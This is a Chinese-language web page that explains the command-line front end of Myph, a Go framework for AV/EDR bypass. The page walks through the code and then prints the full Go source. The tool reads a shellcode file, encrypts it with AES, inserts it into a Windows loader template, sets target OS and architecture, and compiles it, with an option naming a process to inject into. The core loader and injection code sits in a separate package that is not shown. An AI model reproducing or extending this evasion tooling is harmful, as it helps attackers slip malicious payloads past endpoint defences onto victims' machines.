AV 绕过 Shellcode 生成框架: Myph CLI 详解
该代码是一个 CLI 应用程序,用于生成和编译 AV 绕过的 shellcode。
- 导入必要的包:
 
- 'fmt':格式化输出
 - 'cobra':用于创建命令行应用程序的库
 - 'os':用于操作文件和系统环境变量
 - 'loader':一个自定义的库,用于读取、加密和编译 shellcode。
 
- 
定义 'GetParser' 函数,它返回一个 'cobra.Command' 对象。
 - 
定义应用程序的版本号和命令行描述。
 - 
定义 'Run' 函数,它是 cobra 命令的主函数。它首先检查是否提供了 shellcode 的路径,如果没有,则输出一条错误消息并退出程序。然后它尝试读取 shellcode 文件并加密它。如果有错误,程序输出错误消息并退出。接着,它设置操作系统和架构环境变量,然后生成一个 'Shellcode' 结构体并调用 'loader.LoadWindowsTemplate()' 函数将其加载到一个 Windows 模板中。如果有错误,程序输出错误消息并退出。最后,它调用 'loader.Compile()' 函数编译 shellcode。
 - 
定义默认选项并使用 'cmd.PersistentFlags()' 函数定义命令行参数。其中:
 
- 'opts.Outfile':输出文件路径。
 - 'opts.ShellcodePath':shellcode 的路径。
 - 'opts.AesKey':用于加密 shellcode 的 AES 密钥。
 - 'opts.arch':编译目标的架构。
 - 'opts.OS':编译目标的操作系统。
 - 'opts.Target':用于进程注入的目标。
 
- 返回 'cmd' 对象。
 
该代码用 Go 编写,可以在支持 Go 的操作系统上运行。它依赖于 'cobra' 和 'loader' 库,需要提供 shellcode 的路径、AES 密钥和编译目标信息。它可以加密和编译 shellcode,并输出编译文件。
package cli
import (
	'fmt'
	'github.com/cmepw/myph/loader'
	'github.com/spf13/cobra'
	'os'
)
func GetParser(opts *Options) *cobra.Command {
	version := '0.0.1'
	var cmd = &cobra.Command{
		Use:                'myph',
		Version:            version,
		DisableSuggestions: true,
		Short:              'AV bypass shellcode creation framework',
		Long:               'CLI to prepare your shellcode and do AV/EDR bypass',
		Run: func(cmd *cobra.Command, args []string) {
			if opts.ShellcodePath == '' {
				fmt.Println('[!] Please specify your shellcode's path with --shellcode')
				os.Exit(1)
			}
			plaintext_payload, err := loader.ReadFile(opts.ShellcodePath)
			if err != nil {
				fmt.Printf('[!] Read shellcode error: %s\n', err.Error())
				os.Exit(1)
			}
			fmt.Println('[+] Successfully read shellcode')
			payload, err := loader.Encrypt(opts.AesKey, plaintext_payload)
			if err != nil {
				fmt.Println(err.Error())
				os.Exit(1)
			}
			os.Setenv('GOOS', opts.OS)
			os.Setenv('GOARCH', opts.arch)
			s := loader.Shellcode{
				Payload:  payload,
				Filename: opts.Outfile,
				AesKey:   []byte(opts.AesKey),
				Target:   opts.Target,
			}
			fmt.Println('[+] Encrypted shellcode with AES key')
			toCompile := loader.LoadWindowsTemplate(s)
			err = loader.WriteToTempfile(toCompile)
			if err != nil {
				fmt.Printf('Write error: %s\n', err.Error())
				os.Exit(1)
			}
			fmt.Println('[+] loaded Windows template')
			/* run compilation */
			loader.Compile(s)
		},
	}
	defaults := GetDefaultCLIOptions()
	cmd.PersistentFlags().StringVarP(&opts.Outfile, 'outfile', 'f', defaults.Outfile, 'output filepath')
	cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, 'shellcode', 's', defaults.ShellcodePath, 'shellcode path')
	cmd.PersistentFlags().BytesHexVarP(&opts.AesKey, 'aes-key', 'a', defaults.AesKey, 'AES key for shellcode encryption')
	cmd.PersistentFlags().StringVarP(&opts.arch, 'arch', 'r', defaults.arch, 'architecture compilation target')
	cmd.PersistentFlags().StringVarP(&opts.OS, 'os', 'o', defaults.OS, 'OS compilation target')
	cmd.PersistentFlags().StringVarP(&opts.Target, 'target-process', 't', defaults.Target, 'target for process injection')
	return cmd
}
原文地址: https://www.cveoy.top/t/topic/lXjx 著作权归作者所有。请勿转载和采集!